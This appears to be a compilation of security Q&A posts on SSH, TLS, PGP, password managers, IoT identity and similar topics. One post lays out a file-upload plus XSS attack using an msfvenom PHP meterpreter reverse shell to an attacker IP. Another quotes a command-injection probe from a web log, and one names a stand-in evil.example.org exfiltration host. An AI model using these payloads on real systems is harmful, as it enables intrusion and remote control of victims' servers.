Choosing between SSH and HTTPS for executing script using McAfee ESM Nitro We intend to use McAfee ESM Nitro (SIEM) for security monitoring of our infrastructure servers. To bring automation in system administration of our servers, we have developed some applications in-house.

For instance, we are using a 3rd party tool for automated system automation which is Ansible and we have an in-house application that controls which of our server remains in production or whom to send out of production.

We now intend to integrate McAfee ESM Nitro with these two applications. So that whenever any threat alert is generated through Nitro, it should use Ansible or our in-house built application to run the remediation steps or locking out the system from our production environment.

The Nitro provides two options for such actions to be triggered against any alert. Either to remotely connecting to a server using SSH and run any script residing over that server or running the script through any URL over HTTPS. Please find the snapshot attached for both the options.

I have read the thread over this website where the comparison between SSH and HTTPs is discussed (What is the difference between SSL vs SSH? Which is more secure?)

I would request for your professional advice as to which option to adapt for and which is more secure.

Thanks,
Fahad.SIEM background URL option

It depends a lot of how your infrastructure looks like and how much time and money you want to invest (or already have invested) in your security infrastructure.

On one hand, SSH is easy to deploy, require authentication by default (so less room for error) and can be made quite secure very easily. The downside is that the security aspect doesn't scale too well: key management in larger environment is complicated and the default fall-back (accept any key from server) is insecure. Client key management is also an issue.

On the other hand, you need a more effort to deploy HTTPS securely and have the same level of security that what you'd obtain from SSH (Assuming you're using key-based authentication). The advantage is that it's easier to scale: you can use a private PKI for managing keys easily and, once you have a working configuration, it is very, very easy to securely replicate it across as many systems as you want.


Is there any way to bypass .htaccess PATH restriction (in URLs)? We use .htaccess  to deny direct access to specific file example.com/myfile.txt, by using this configuration:

RewriteEngine on
RewriteCond %{THE_REQUEST} myfile.txt
RewriteRule ^    - [F,L]

The intent is that if the url contains myfile.txt, we block the request.  However, what are extra protection steps? I think someone might access that file using backslashes (or any escape character) like:
example.com/my\fi\le\.txt

While what you've listed will work, mod_rewrite is not really an access control tool.  Apache provides you with tools specifically for denying access, which operate after the file names have been canonicalized (converted to the form that will be used to open files on disk).  Using something like this is the intended way to block access to myfile.txt:

<Files myfile.txt>
Order Allow,Deny
Deny from all
</Files>

Your backslash example should make no difference -- the user will just get a 404 error, because a file named my\fi\le\.txt will not exist.  (Backslashes are a perfectly legal character in UNIX filename, and you can send them, although most browsers will convert them to forward slashes because Windows users.)


Trust Issues Relative to Open Source Two separate discussions have very recently opened my eyes to an issue I had not considered – how to confirm the Open Source binary one uses is based on the published source code.

There is a large discussion thread on cryptography-randombit based on Zooko Wilcox-O'Hearn's, founder and CEO of LeastAuthority.com, open letter to Phil Zimmermann and Jon Callas, two of the principals behind Silent Circle, the company that ran Silent Mail which touched on the subject.  Additionally, a Dr. Dobbs article published today entitled  Putting Absolutely Everything in Version Control touched on it as well.

The issue of concern for this question is ability to recompile Open Source code and get the same results as the published binary.  In other words, if you recreate the same binary and hash it from source code it is unlikely to be identical due to differences in tool chains and some randomizations in compilers themselves.

The Dr. Dobbs article suggests putting even the tool chain under version control for reasons of reproducibility.  Jon Callas points out that in many cases it may be impossible to redistribute the tool chain for various reasons including licensing restrictions.
Unless you are compiling the code yourself you are adding a trust step to your assumption set as the binary cannot be even recreated by others with the same results.

I now understand that this is an understandably accepted risk.  My question is are there other discussions or indicatives relative to making source code byte for byte reproducible when compiled thus eliminating the need to trust the provider of even Open Source binaries?  As referenced in Jon Callas’ discussion Ken Thompson showed “You can't trust code that you did not totally create yourself.”  What are the security implications thoughts on this subject?

It's not that simple.

With the huge number of platforms on which the program could have been built, it can be extremely difficult to replicate the original build environment.  Because of this, you could be using a different compiler, with different settings, using different versions of libraries.  These slight variations in the environment can definitely affect the compiled binary.  Of course, if the author is willing to specify their build environment precisely, or if you're lucky (different languages can affect this) it could be possible to rebuild the exact same binary.

For a recent situation in which this was an issue, see TrueCrypt, an open-source-ish0 full-disk encryption program.  When the TrueCrypt site was abruptly replaced with an announcement declaring the unexpected end of the TrueCrypt project, people were obviously interested in checking the code.  However, different people building TrueCrypt often got binaries that differed wildly from the official build, owing to variations in the build environment.  One person apparently managed (after some arduous work in recreating something very close to the original environment) to replicate the TrueCrypt build from scratch with only slight variations in the compiled output.1  Of course, it's not possible to verify this yourself unless you're willing to attempt the same thing.

Of interest on that page is the fact that the binary contains a timestamp of the compile time.  This alone means that compiling and comparing the hashes would never work.

0: TrueCrypt has a strange license with some issues; it's not certain whether it would actually be safe to fork the project.

1: Actually, it looks like they did this before the TrueCrypt site strangeness, but have since succeeded in replicating the version 7.2 build as well.


Why should I leave a U2F device always plugged in to a computer? Over at the Yubikey website they mention that the Nano or 5C Nano series is meant to be always inserted into a computer. I've seen some other sites mention the Nano is good for servers. But why would it be a good idea to have a U2F device always inserted into a computer?

What they actually say is that the device is designed so that it can be permanently inserted - its form factor is such that it won't get in the way or break.

Physical security should still be a concern, but the use case for many people will be to just keep the key in their laptop or tablet.


Is it possible to detect DPI (Deep Packet Inspection)? If one suspects one's packets are subject to DPI, how can it be detected?

It depends on the kind of DPI you are talking about. If it is purely passive DPI (i.e. only looking at the packets) then you will not be able to detect it. If this is instead DPI which can modify the data then you might be able to detect it depending on the kind of access and knowledge you have.

Some typical examples on how active DPI devices change traffic, i.e. what you can look for:

If you transfer specific data (like known malware) the transfer will fail because the IDS detected and blocked the possible attack. One could use for example the innocent EICAR test virus.
DPI using SSL interception can be detected because the certificate is issued by a different CA.
Some DPI devices strip STARTTLS from SMTP traffic so that the traffic will not be encrypted and can be analyzed. Such change to the traffic can be observed on the client side.
Some devices modify the "Accept-Encoding" header of a HTTP request to strip unsupported compression schemes. This can be observed on the server side or sometimes on the client side too because the content is not transferred compressed.


Where are the private keys stored in Persona/Browser ID? I'm trying to understand where the private keys are stored in the Persona system, and how they are protected.

Can anyone elaborate on where the crypto material is created, stored, and what is transferred?

Tom is right that once browsers have native support for Persona, they will be able to store keys in their keystore.

Currently, however, browsers using the JavaScript shim make use of localStorage to store the keys in a way that only the shim is able to read and write them: https://speakerdeck.com/fmarier/persona-in-your-browsers-killing-your-passwords?slide=87

The keys themselves are created client-side in the browser but making use of entropy coming from the login.persona.org server.


How to prevent sysadmins tampering with code? Let's say you have some sensitive user data you need to protect (e.g., for PCI compliance) and you have done this by having the server code encrypt it before storing it in a separate server where no single user has access to both.

But what could be done to stop whoever is deploying the code modifying it to save it elsewhere unencrypted (or encrypted with his own key), or otherwise querying and decrypting the database manually (since the server itself would need a way to decrypt it)?

It feels like something DRM would be used for, but I somehow doubt that's what happens in practice (and DRM is inherently insecure). I don't see how a TPM would help either due to the server needing to be able to both encrypt and decrypt.

What is required with regards to this when applying for PCI compliance? What is often done to prevent the above "decryption"? What would change if the server only needed to encrypt ("write") and not decrypt ("read")?

Note: I'm not applying for PCI compliance - I'm just interested in how it's done.

There's actually no control in the application itself. Often how this is checked in practice is by employing two-eye principles for deployments (no one user can access or change the system on its own) or they use solutions which perform full command accounting like Powerbroker or CyberArk.

Note that these systems should then also be managed by independant teams.


Why use Keepass, etc. if all your passwords are in one place? I'm a firm proponent of using a password manager like Keepass to generate and store secure passwords. I also encourage others to do the same.

But there's always one person who says they'll never use it because it keeps all their passwords in one place, so if an attacker breaks into their Keepass database, they will then have all their passwords.

I've been pointing out that the same thing can happen with their email accounts, and that the attacker can just use the "forgot your password?" option to get all their passwords, but it usually doesn't help, and I'm a bit curious about this myself.

Does anyone have any more in-depth rebuttals to this?

In my opinion, there's a long answer to this question, and there's a short one. The short one goes something like this:

Most of the exposures (of usernames and passwords) we see are not targeted attacks against an individual, but they can result in an individual's credentials being exposed. A password manager helps to limit the impact on a single user by allowing them to use different passwords across all websites they access, while minimising the risk that they will forget them.

From my experience, people who oppose the use of a password manager are afraid of a targeted attack against themselves, rather than the opportunistic attacks I described - but they are correct: if someone gets access to their password repository, it's game over.

Now, there's a "right" and a "wrong" way to use password managers. Here are some tips:

Make sure you do your research before choosing which password manager you want to use: you want to ensure that you know where your data is being stored and how it is being encrypted. You also want to make sure you're using a reputable product.
Make sure your master password is sufficently complex. Whether you choose to use a secure passphrase or a complex password, you want to make sure it is strong enough to protect your database. If somebody guesses your password (or manages to crack it), all of your passwords are exposed.
Never access your password database from a public computer. And, if you have to, change your master password (from a private computer) afterwards. Public computers may have keyloggers, and all kinds of other fun things which may expose your master password. Even worse, if your database is an offline database (e.g. KeePass) you're not actually deleting it from the disk when you send it to the recycle bin.
Make sure that your private computer has adequate anti-virus/malware protection. Same logic as number three: you don't want to give people access to your master password under any circumstances.
Use multi-step authentication whenever possible. Most popular email providers offer this now, and it's a great way to minimise the likelihood of your account being accessed, even if someone does discover your 128 character password.

Lastly, my personal preference is to avoid any "public" online password managers (e.g. LastPass). I don't mind password databases being online (e.g. putting your KeePass database in Dropbox - not that I do this), because this would take a targeted attack for somebody to find your passwords. But, I'm sure attackers would love to get their hands on the database of one of these service providers - for no other reason than to say that they did. From there, is just a matter of an opportunistic individual getting lucky, and all your passwords become theirs.


How safe is Voice Recognition ID? Recently I saw this advert for HSBC mobile banking app which has me a little worried. In the advert the actor logs into his online banking using "Voice Id" (essentially say a secret password and hey presto!)

It worried me for a few reasons:

Anyone in earshot can hear your secret word
Anyone with a recording device can record you saying that word and fool the security system
How accurate can Voice recognition be!

So this leads me back to my questions.. How safe is Voice Recognition ID?

The vulnerabilities in this is really similar to facial recoginition, iris scans, and finger prints. In most cases they're easy enough to obtain and use, at least you need to buy wood glue for fingerprints. This just adds another layer of complexity. Johnny's comment is totally accurate. Do not rely on this as your only password.


How to safely "remember" login information in a program Possible Duplicate:
  How to Securely Implement a “Remember Me” Feature?

I have a program that communicates with a server. The user must log in with the application which runs on their computer, the application will send their username and password to the server (over TLS of course) and the server will log them in.

I want to offer a "remember my username/password" feature, so that after logging in once, they don't have to log in any more, much like Dropbox or web browsers or many other programs do. How can I implement this securely? I have to send the actual password to the server, not the hash, so I can't store an hash, and if I encrypt it then I have the same problem with storing the key.

Forgive me if this is a duplicate, I searched and couldn't find one.

The best way to do this is to store a session value with the application. The idea behind that is described in my answer here to another authentication question. That prevents exposing stored credentials and allows a user to invalidate sessions if they lose control of the machine without risking compromise of their password.


Software suggestions on building a "passive" and "active" WAN simulation and fuzzing device? I want to build a more-or-less self-contained box that I can plug two or more endpoints into (routers, mainly) that will simulate a WAN. I want to be able to mess up traffic in all sorts of ways, both "passive" (for example, natural network problems like latency, packet loss, bandwidth restrictions) and "active" (such as DoS attacks, MiTM attacks, and other more nefarious actions). I want to be able to bang on my router configurations in all sorts of ways without attracting unwanted attention or affecting my production network.

As far as I can tell, there are no free solutions for doing this, which is fine, but I'd like to figure out what tools to use.

So far, I think for the "active" side of things, Metasploit is the clear choice. The "passive", however I'm not so sure about. Here's what I've been looking at:

MAYBE:

TCNG: Old, though. Last release in 2004.

ns-2: Seems more "research-y" but has potential.

ns-3: Also has potential.

Cisco Packet Tracer: Not exactly free. It is pretty, but does it have the "fuzzing" aspect?

DummyNet: It seems a bit raw, but it's been suggested it might be the best option.

EDIT:

CORE: The Common Open Research Emulator seems really promising.

REJECTED:

GNS-3: More for hardware emulation.

Lagfactory: Seems to have vanished.

Fiddler: HTTP(S) traffic only

NetLimiter: Doesn't seem to have intentional network damage feature

LanForge ICE: Looks to be expensive.

Thoughts or suggestions very much appreciated!

I once built one of these rigs for Electronic Arts to handle online-game traffic simulations to ensure the best possible user experience despite network conditions.

The free option was NIST Net from the National Institute of Standards and Technology (NIST). Based on Linux, free, complex and limited, but might be just what your looking for.

The expensive, but dammed impressive option was a Storm Appliance from Shunra, dedicated hardware with multiple network interface configurations, and was driven through visio, so you could litterally draw your network topology and then run simulations on it using data points you detemrined in advance or actually recorded traffic from the tinterweb :)

Impressive tech.


Can a .DER be converted to a .PFX / .P12 ? Burp-Suite's http://burp/cert:8080 web-interface for downloading the CA Certificate only provides a .der encoded certificate, but for a particular use-case scenario I require a PKCS#12 .pfx/.p12.

I can find a lot of information regarding the conversion from .der to .pem and also the conversion from .pem to .pfx/.p12, but nothing for converting directly from .der to .pfx/.p12:

.der > .pem

openssl x509 -inform der -in certificate.der -out certificate.pem

.pem > .pfx/.p12

openssl pkcs12 -export -in certificate.pem -out certificate.p12

Can I convert directly from .der to .pfx/.p12?
Do I need a .key (not provided via http://burp/cert:8080) in order to do the conversion?
Will the .pfx/.p12 even be of any use to me (and Burp-Suite) without the .key rolled in?

Can I convert directly from a .der to a .pfx/.p12?

I don't think so because Openssl uses PEM encoding for certificates by default unless you set it explicitly using -inform or -outform arguments. There is no such option listed in the pkcs12 command.

  Do I need a .key (not provided via http://burp/cert:8080) in order to do the conversion?

You don't have to provide a key for PKCS12 command if you use -nodes option. With this option openssl do not use encryption for the file created.

  Will the .pfx/.p12 even be of any use to me (and Burp-Suite) without the .key rolled in?

In your case, Yes. Because that you will only store your certificates in that file you do not need it to be encrypted. Note that, PKCS12 file format is generally used to store private keys with their corresponding certificates in a single file format. In that case, you should use a key to keep your private keys in an encrypted file.


PGP encryption for the server based app Here is context:

I am using PGP to encrypt messages in a chat web app. After going through some articles, I get brief idea how PGP works and here is how I am doing it with openPGPJs :

Client(web browser) generate the public/private key-pairs and send public key to server to store it.
Sender use receiver's public key to encrypt data and send it.
Receiver use their own private key to decrypt the message.

As a chat app I need to store all messages and decrypt them when user wants to see old message. decryption of messages need the private key. here the client is web browser which  neither can store the private keys for long nor can keep them safe. so I decided to store the private key on web server. Now client(web browser) asks server for the private key whenever decryption of message needed.

Considering PGP an End to End protocol, storing private key on server is vulnerable. my question is:

How PGP encryption works for web based applications where client is not able to keep private key safe and confidential?
Is it Okay to store private key on server?
Is there any better way to do this?

Thanks for any suggestions.

I've been working on something similar for signing messages. The short answer is: it's only supported in Chrome, but the future is not bright.

You can do it using the Filesystem API. However, the problem is: this is not getting standardized by the w3c, support for it in any browsers other than chrome doesn't work, and, it's wholly possible that a rogue script could access the filesystem API and steal your key.

I ultimately abandoned the project. You would be wise to reconsider what you're working on. CryptoCat already solved the secure browser chat problem...

EDIT:

Seems crypto cat was re-written in 2016 and now has PC based versions. There is a crypto-cat legacy repo that appears to have the original CryptoCat code.


openssl vs gpg for file based encryption? Pros vs cons for security? I want to encrypt a tar archive and optionally a block file system (akin to DMG image).  Does anyone know the pros vs cons of encrypting each with OpenSSL vs GPG?

I ask because some have stated that the OpenSSL command line is malleable and prone to attack.  Therefore GPG was recommended.  I'm still unclear of the reasons why.  I'm also confused because GPG is asymmetric and it's unclear of this requirement for encrypting a file that only one person needs to decrypt.

Your insight and/or pointers appreciated.

Nick

If you're just encrypting it for yourself, then I don't think there's any advantage to one or the other.  In either case you have a secret key you need to protect.

If you're encrypting to send to someone else then I believe PGP is preferable because you never have to share the secret key needed to decrypt the data with the other person, though the other person's public key does need to be shared.  Please understand that PGP is hybrid encryption, using both RSA and symmetric encryption (I would suggest you use AES).


How does Look Out Secuirty and Anti-Virus determine if an app is harmeful? For Android Lookout can scan an app before it is installed, and I think it scans a new app the first time it runs too. It displays the message "this app is safe" and I'm wondering, how does it determine? Does it just check for virus signatures? I'm inclined to think it does more since "this app is safe" sometimes shows up after running an app.

I've very new at Android security, are there any products are techniques out there specific to Android I should be aware of?

Exploits often have very distinct signatures.  For example, z4root uses exploits to gain root access to a device.  These techniques for privilege escalation can be known to an anti-virus program, an flag any app that contains similar API calls.

Lookout uses some advanced techniques.  For example, it can determine the difference between adware, and an app with advertisements.

  Displays advertising outside of the normal app experience
  Harvests unusual personally identifiable information, or
  Performs unexpected actions as a response to ad clicks; appropriate user consent entails providing a clear alert in the application that
  allows the user to accept or decline before any of the above behaviors
  takes place

For runtime checks, it can observe dynamically generated content.  For example, I could write a malware program that intends to send data to http://evil.example.org.  If I hard coded that into the app, it would be flagged by their domain filters before being installed.  If I instead set up a server at http://imnotevil.com, that would return a redirect to http://evil.example.org on the third request from an IP, it would need to be checked at run time.

I recommend reading their blog for the various exploits they've discovered.


Storing License Keys I'm creating an application which generates licenses key and stores this in a database (the licenses are checked online). I don't wish to store these license unhashed, in case the database is stolen.

However, once the license key is hashed (with salt), it becomes very difficult to check if a given key exists in the database, since the salt used will change with each key.

What is the best solution to be able to find and verify a hashed license key? I have considered hashing half of the license key unsalted, and using that to identify the license row before checking the full key hashed with salt. Is this too risky?

I've also considered using the last 1/4 of the key as an identifier (e.g. AAAB = 1, AAAC =2 etc), For a key length of 16, this allows 2^20 keys.

(Side note: keys are base32 encoded, and will be 16 characters long (but could be chosen longer). The application is a general one - i.e. it's not tied to any particular use-case, so there is no fixed estimate on the number of licenses required - although the key length could be increased depending on that esimate).

However, once the license key is hashed (with salt) - it becomes very difficult to check if a given key exists in the database - since the salt used will change with each key.

Salts are designed to be used when you already have an identifier to look up the corresponding hashed field. For example, you don't look to see if "password" exists in any of the password fields, but rather that for "user" the password is "password".

If you're going to salt your passwords (licenses), then you need to assign a unique identifier to it which is stored without any hashing.

Prepend a unique ID of a fixed width to the first bytes of your licenses or use a delimiter and split the ID off before hashing on the server.


Stored XSS + PHP Backdoor + File upload vulnerability I built this web application(Used PHP 5 + MySQL) where I could take advantage of file upload vulnerability and XSS.

My route of attack is:

Upload a PHP backdoor which I built with msfvenom
Go to another page that has an XSS vulnerability
Have <"script src="ATTACKING IP:PORT443/phpbackdoor.php"></script> as an input
Turn on the listener / meterpreter

These 4 steps seem to be working but, once meterpreter session is created, I couldn't even spawn a shell or do any commands (like sysinfo, for example); I'm using the latest Kali update.

My target box is Ubuntu 16.04 and the web application is running on LAMPP or just localhost.

My NAT is turned on, but both ports 443 is opened on both virtual machines.

Here are what I used for building payloads and commands in order:

msfvenom -p php/meterpreter_reverse_tcp LHOST=attacking ip LPORT=443 -f raw > shell.php
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost attacking ip
set lport 443
exploit

Something is breaking the meterpreter and I couldn't point out what it is.

Because when you do this <"script src="ATTACKING IP:PORT443/phpbackdoor.php"></script>
The file isn't executed server side at all instead it is executed by the victim browser and of course it doesn't work its a PHP file.The browser looks for javascript in that,for example try and PHP echo "VALID JAVASCRIPT" and it will get executed by the browser.You cant exploit like that.Instead if you can upload a PHP shell you would rather exploit it via simply going to the link https://example.com/shell.php or some other vulnerability like PHP file inclusion.

In short a shell uploaded on the server side wont get executed this way.


Open challenges in Identity management for Internet of things I am concerned with how identities are managed in the context of Internet of Things. How can IoT devices(e.g., RFID tag or smart vehicles) be able to authenticate with another. Is there any practical solution specifically geared towards IoT given that existing solution suitable for the Internet (PKI, SAML, OpenID) may not scale properly for Internet of Things devices or work at all?

Specifically I like to know how each IoT thing can have a unique ID, and a signed certificate associated with it given the constrained properties of the devices and their large number (in billions).While taking into consideration the dynamic nature of their lifecycle. For instance an IoT device may change ownership, and move from one network to another, and at some point be decommissioned.

I am aware of protocols such as CoAP and MQTT but I cannot find any standard or solution for identity and access management.

It might be wise to see how other vendors are currently handling this problem.

For example, if you take a look at Amazon's IoT button's technical specs you'll see two things that directly relate to your question.

First, they use device serial numbers in the form of

"serialNumber": "GXXXXXXXXXXXXXXXXX"

Where each X is a mixture of letters and numbers and the G listed above is simply the letter G which happens to be the first character of the serial numbers for this product. This is quite a large amount of address space for numbering devices and the numbers themselves are fairly straightforward. Assuming they don't use the letters "o" due to confusion with the number zero (the letters are all capitalized so I and L might be in use) this is roughly 35^17 unique serial numbers give or take a few numbers they may or may not use it's an insanely huge number, more than 25 digits long. For most vendors this serial number, or it's equivalent, is programmed into the hardware and it is probably very easy to do when they are created.

Then, in the case of Amazon IoT, they have a system to allow customers to create their own PKI X.509 certificates or simply download unique PKI X.509 certificates created by Amazon on demand to their devices.

If you look more closely at the size of X.509 keys and their relative keyspace (which could also be effectively expanded by using certificate options) you'll see that size of keyspace for Billions of devices is not a problem at all.

The bigger problem is getting unique certificates onto the devices and managing them. This can be a lot of work if not done at a factory.

Per the device changing networks, I have to connect the device to each 802.11 wireless network I use manually. Then it uses MQTT to call home

Per the device changing ownership, in the case of Amazon's IoT you could simply transfer the device with it's existing serial number to a new owner and have them generate new certificates.

There are several other commercial IoT ecosystems which do things in their own way but generally, and as far as your question is concerned, this is how it works and size isn't really a problem for the scale you mentioned.

Important Note: Not all vendors allow customers to use their own PKI and this can create another problem where there are multiple copies of public-private key pairs. Likewise, some vendors simply aren't concerning themselves with security at all at this time.

Useful references:

http://docs.aws.amazon.com/iot/latest/developerguide/iot-gs.html

https://aws.amazon.com/iotbutton/faq/

https://en.wikipedia.org/wiki/X.509

https://www.ietf.org/rfc/rfc5280.txt


Bridging TLS handshake to leave private key in browser Situation

We have a single page web app that allows user to Drag'n'Drop their certificate and private key into it. These are then used to authenticate at the web service.

While browsers are able to perform a TLS handshake including client authentication via HTTPS, they only use the certificates installed in the OS certificate store (e.g. Chrome on macOS or MS Edge on Windows) or in the browser's certificate store (e.g. Firefox).

There is, however, no way to supply a certificate/private key to the request APIs provided by the browser as standardized by the W3C. (E.g. fetch() only allows to specify if installed credentials should generally be included or not.)

Question

Is it reasonable to implement some kind of additiona; "TLS bridging" service in our situation?

This would work as follows:

The bridging service accepts the certificate by the client (e.g. via HTTP),
...synchronously initiates a handshake with the real client authentication service
...and responds by passing down the TLS handshake challenge to the client.
The client is able to solve the challenge with the dropped private key and send it back by an additional HTTP request
The bridging service can then respond the result of the handshake/request (e.g. the auth token)

UPDATE 1:

Constraints

The following technical constraints are set for now:

JS-only solution in the web app (e.g. no Flash)
Private key of the client must not be transmitted to any server
Manual installation of certificate on OS/browser must not be necessary.

UPDATE 2:

As of March 20, 2018 the W3C lists the Web Authentication Standard as "Candidate Recommendation" which would solve the described issue in offering standardized API to perform client authentication. The MDN docs are also quite informative on the usage of that API in the current state.

There is no way to split the TLS handshake into three parts in the way you envision, i.e. that part of the handshake that comes from the original client, part from the "TLS bridging" service and part from the server.

One reason is that the Finished message from the client side  can not be constructed in a way that the server will accept it: The Finished message needs both the master secret and also a hash over all handshake messages. But since the master secret is only known to the original client and all handshake message are only known to the TLS bridging service (since it has added messages to the handshake) neither the original client nor the TLS bridging service has all information needed to construct the Finished message.

All you could do is create a full man in the middle proxy which results in a full TLS connection between client and bridging service and another one between bridging service and server. Of course the bridging service would then need to recreate the original server's certificate by using its own CA and the client would need to trust the CA of the bridging service.


What Does This Command Do? Should i be worried? So I was debugging my code when I see these few lines in my log:

GET /cgi/common.cgi 302 8.015 ms - 23
GET /stssys.htm 302 2.928 ms - 23
GET / 200 134.922 ms - 9896
POST /command.php 302 33.826 ms - 23
GET /language/Swedish${IFS}&&echo${IFS}610cker>qt&&tar${IFS}/string.js 302 1.049 ms - 23

Could this affect me or my system? What can I do to protect against this? I'm not using CGI or PHP.

It's an attempt at command injection. IFS is basically a space in this situation, and && executes multiple commands. So you have:

/language/Swedish && echo 610cker > qt && tar /string.js

Which tries to execute three commands:

/language/Swedish   <-- where the injection takes place
echo 610cker > qt   <-- write 610cker to file qt
tar /string.js      <-- compress file string.js (but the command is invalid)

The commands do not really make sense and are not used to exploit your system, but likely used to test if it is vulnerable.

If you google 610cker you will find some reports about an exploit on a D-Link router (although the payload looks slightly different) and other systems (see eg here, using the same payload).

As with all log entries of this type, it is almost certainly a scanner. If your system is not vulnerable and there are no other signs of intrusion, I wouldn't worry about it.


Validating an Ed25519 public key Is it possibly to test if an Ed25519 public key is valid without having access to the private key, a signed message or anything except the public key?

"Valid" as in "Not just 32 random bytes".

I'm assuming not every random combination of bits would be possible to generate as a public key.

Yes.  In order for the public key to be valid (i.e. not just 32 random bytes), the point must be on the curve.  You can test if the point is on the curve by plugging the x and y values into the equation of the curve, and solving the equation 'over the field', to see if the equation checks.

For example, the equation for the secp256k1 curve is:

 y^2 = x^3 + 7

and the field characteristic (p) is:

p=0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f

So, to check if a point is on the curve, you would plug the x and y values of the point into the following equation, and test if it checks:

(y^2 - x^3 - 7) % p == 0

The following point is on the secp256k1 curve:

(0x5633454c810b6e3c881e35f904a6215f1825e46429a54061d1b7448be1b4285e, 0xd1016a4e4b8c6d3a2220e76c8cd66d0ad8e42c1ea84109fef12fa601b5dd09b8)

But, the following point is not:

(0x2d09f894eff47eba35ae4eda6ecfe71fb8263b84c092249e820ba5e6e73c0da3, 0x19ece9e391ce286cbb1907c38359dd4c086e5540fc82593731a2f893ef1bedef)

Here is a short Python script that can be used to test whether a point is on the curve.

def isoncurve(x, y):
    # For secp256k1
    p=0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
    return (y * y - x * x * x - 7) % p == 0

#returns True
x=0x5633454c810b6e3c881e35f904a6215f1825e46429a54061d1b7448be1b4285e
y=0xd1016a4e4b8c6d3a2220e76c8cd66d0ad8e42c1ea84109fef12fa601b5dd09b8
print (hex(x) + ',' + hex(y) + ' is on secp256k1 curve: ' + str(isoncurve(x, y)))

# Returns False
x=0x2d09f894eff47eba35ae4eda6ecfe71fb8263b84c092249e820ba5e6e73c0da3
y=0x19ece9e391ce286cbb1907c38359dd4c086e5540fc82593731a2f893ef1bedef
print (hex(x) + ',' + hex(y) + ' is on secp256k1 curve: ' + str(isoncurve(x, y)))


Can Facebook collect data on local network? I live in a country where very very few people use Netflix, therefore it's very rare to see ads about it, because my country is so tiny, Netflix Just don't target it. My country is outside EU, so companies don't have to respect GDPR or any privacy related law as far as I know.

My friend doesn't have Facebook installed on his PS4. He wanted to try Netflix, I created a profile for him from my account so he could try it. He only installed it on PS4 watched few movies and after 2 days, for the first time ever, he started seeing Netflix ads on Facebook.

He never searched for the keyword "Netflix" or watched a YouTube video about Netflix. If Netflix was the one sharing the data, then I should be the one seeing ads, not him, as far as Netflix knows, it's my account.

He has black tape on his webcam. He only used Netflix for about half an hour just to explore it. His laptop wasn't turned on.

He doesn't have Netflix installed on his phone and never visited their site, I wounder how Facebook knew he was using Netflix

It's not Facebook that decides on their own to show him a Netflix ad. It works more like this:

Netflix decides they want to advertise to their users on other web and app properties (like Facebook). Netflix says to Facebook- I want to advertise to my users on your platform, so I will provide you with the advertisement, called a creative, and I will provide rules to you so you can identify when my users are visiting your platform. Facebook says- cool, pay me $$, and give me that creative and those rules, and I will show them your ad and give you some statistics on how often it was shown, who clicked on it, etc.

So what rule did Netflix provide to Facebook to allow Facebook to know that your friend was a Netflix user- albeit with a profile under your account?

There are lots of ways, but from what has been provided in the question, the simplest and least sinister is IP address. Your friend visited Netflix from his PS4, which from his home network reaches the internet through his ISP. He also visits Facebook from some other machine on his home network, but which also reaches the internet through his ISP, using the same IP.

Netflix says- I have a user who visited me from IP address X. Facebook says, sure, I have someone who visits from that IP. So the ad gets shown.

(Using a specific IP to target is not allowed under GDPR or- currently- under US law, but is common in other parts of the world.)

Does that help?


General security of offline databases (like SQLite) I'm writing a small task management program in Java (not for mobile devices btw), and part of it was kind of a 'data service' to encapsulate and reuse database related code - such as connecting to different DBs, CRUD actions and stuff. The program itself should run offline, so I'm thinking of using SQLite for data storage. I'm aware that Hibernate does all that, but I'm a rather inexperienced dev yet and a friend who helps me with code reviews and some teaching recommended me writing such a module once, so I get a clue of what's going on behind the scenes before using Hibernate.

But back to topic. The data produced in this task management program is not highly sensitive, however, some protection would be fine. For that reason I was searching for ways to somehow protect/encrypt my SQLite database and encryption topics in general. The outcome was really confusing. There do exist some APIs that enable encryption for SQLite, but other sources stated that any offline database (with the password necessarily stored somewhere on the same machine) would be rather easily hackable if someone got control over the respective computer.

So my question is: is it generally safe/viable (at least for non-high end apps) to use offline databases? If so, what would be that best way to apply encryption? If not, why is it safer to use online databases - what are they doing differently?

The usual apologies if this has been asked before - I did search (honestly!), but couldn't find a really satisfying answer. Sorry if these questions sound stupid, but I haven't really come by security questions in my coding "career" yet and this is quite confusing in the beginning...

What you're asking is a variant of the DRM problem. In extremely generic terms, this is your scenario:

You have a thing which you want your software to do, on the customer's machine, and
You don't want the customer to be able to do that thing without your software.

This is flatly impossible. If it happens on their machine, you cannot control it. All you can control is what "it" is, at least insofar as your design requirements let you.

Let me talk through a couple of common ways to control "it" though:

Storing the data on another machine, like an online database.

This works fine, except that you're still only protecting that database. Any data sent to the client to be viewed can be stolen by malicious software, which can do anything from sniff the incoming network traffic, to capturing the display cable signal.
Decrypting based on something your software can't access alone.

The most common incarnation of this today is the password, but hardware security tokens are increasingly common alternatives. In short, by requiring some separate thing before it can access the data, your software can quite handily prevent anyone from just reverse-engineering the binary to decrypt the data.

Note that you're still susceptible to the people who own the machine watching your process as it runs to steal the decryption keys, or the data itself, out of memory. Your code might not be able to do it entirely alone, but it's still decrypting each byte with no further user input. Hardware security tokens can help address this, but then you need to actually use the decrypted data, so... you see the point. It's an infinite regression.
Minimize the amount of data you can access.

If your broader service stores credit card numbers, addresses, usernames, and favorite colors, and your specific app only ever needs to access the last two, you can put up brick walls in front of the first two. This touches on the CIA triad, but in short, it's easier to protect against disclosure to unauthorized parties if even authorized parties can't access it.

Which one you choose depends on what you're making, what your constraints are, and how much time and money you're willing to spend. If you're planning to sell this to people for real money, even if you probably won't ever handle obviously sensitive data, you should still probably hire a professional to help you design it securely. As you can guess, it's much better to spend a little money now being proactively secure than a lot of money later when your lack of security comes back to bite you.


How to ensure web-camera is accessed legitimately? I've recently became baffled as to how often is there an attempt to use a web-camera on my laptop. And I mean - out of the blue, when I had neither an intent nor a context to use it.

How do I know it's used? Well, I have an AV which has a function "block usages of a device X" (X can be a microphone or a web-camera for instance). And when it does so, the popup shows "oh, look, user, web-camera access is blocked!" Also, to explain what do I mean "I noticed recently": it's that I enabled this feature in the AV recently. I suspect all these things were happening even before, but I just didn't know about them.

Unfortunately, the AV doesn't provide a way to see what was accessing the camera. And here's the main problem - it all happens in seemingly "harmless" situations. Examples?

I launch a web-browser after restarting a PC - alert, web-camera access
I launch Steam? Alert
I open a tab in youtube the first time (!?) Alert.

So far, I use tape.

But clearly there should be better ways to do this which allow legitimate usage.

More context:

Windows 10 PC (laptop)
Kaspersky AV
AV doesn't show any problems (such as viruses)
